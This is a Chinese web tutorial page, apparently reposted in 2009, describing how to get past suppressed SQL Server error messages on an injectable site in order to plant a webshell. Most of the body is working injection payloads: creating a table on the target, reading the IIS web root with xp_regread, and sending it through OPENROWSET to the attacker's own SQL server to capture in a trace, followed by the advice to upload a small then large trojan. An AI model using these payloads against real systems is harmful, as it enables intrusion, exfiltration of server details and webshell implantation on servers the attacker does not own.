当前位置: 首页 > 图文教程 > 服务器 > 安全防护 > 突破SQL错误提示上传webshell

安全防护
2003服务器防止海洋木马的安全设置(1)
2003服务器防止海洋木马的安全设置(2)
2003服务器防止海洋木马的安全设置(3)
加固脆弱的IIS服务
linux操作系统的优化及安全配置(1)
linux操作系统的优化及安全配置(2)
linux操作系统的优化及安全配置(3)
Server2003 DNS服务安装篇(2)
Server2003 DNS服务安装篇(3)
Server2003 DNS服务安装篇(4)
WindowsServer2003安全事件ID分析(1)
WindowsServer2003安全事件ID分析(2)
打造安全的Windows 2003系统(5)
Win2003 Server手动设置全攻略(1)
Win2003 Server手动设置全攻略(2)
Win2003 Server手动设置全攻略(3)
Win2003 Server手动设置全攻略(4)
搜索型注入之我看
为Windows 2003安全—层层设防(1)
为Windows 2003安全—层层设防(2)

安全防护 中的 突破SQL错误提示上传webshell


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-29   浏览: 42 ::
收藏到网摘: n/a

得到SQL注入点,首先想到的是BACKUP WEBSHELL,扔在NB里跑一圈,发现屏蔽了SQL错误信息,得不到物理路径,那还写个PP马了.
联想到一个权限不是很高的命令openrowset,进行跨库服务器查询,就是把一个SQL命令发送到远程数据库,然后看返回的结果,但是要启动事件跟踪!我们可以把网站信息写入数据库,然后%$^%$@#$@^%$~
首先在自己机器建立SQL数据库

然后在对方机器上建立个表 create table [dbo].[fenggou]([cha8][char](255))--

在对方执行 DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into fenggou (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''自己的IP'';''sa'';''你的密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''')AS a');--

这样fenggou这个表里就会有这样一条记录SELECT a.* FROM OPENROWSET('SQLOLEDB','自己的IP';'sa';'你的密码', 'SELECT * FROM pubs.dbo.authors where au_fname=''D:\WEB,,1''')AS a

不用说,''D:\WEB"就是从注册表里读出的物理路径拉.然后执行DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM fenggou) exec (@a1);--

等于执行了SELECT a.* FROM OPENROWSET('SQLOLEDB','自己的IP';'sa';'你的密码', 'SELECT * FROM pubs.dbo.authors where au_fname=''D:\WEB,,1''')AS a

OK,这时你在你机器上SQL事件追踪器上就会显示SELECT * FROM pubs.dbo.authors where au_fname='D:\WEB,,1'
哇 哈哈哈哈哈 物理路径到手了 写小马传大马吧~
PS:如果出错的话转换为16进制试试哈.以上是在偶渗透失败,无奈的时候想的办法,也许高人早就知道了吧,笑过~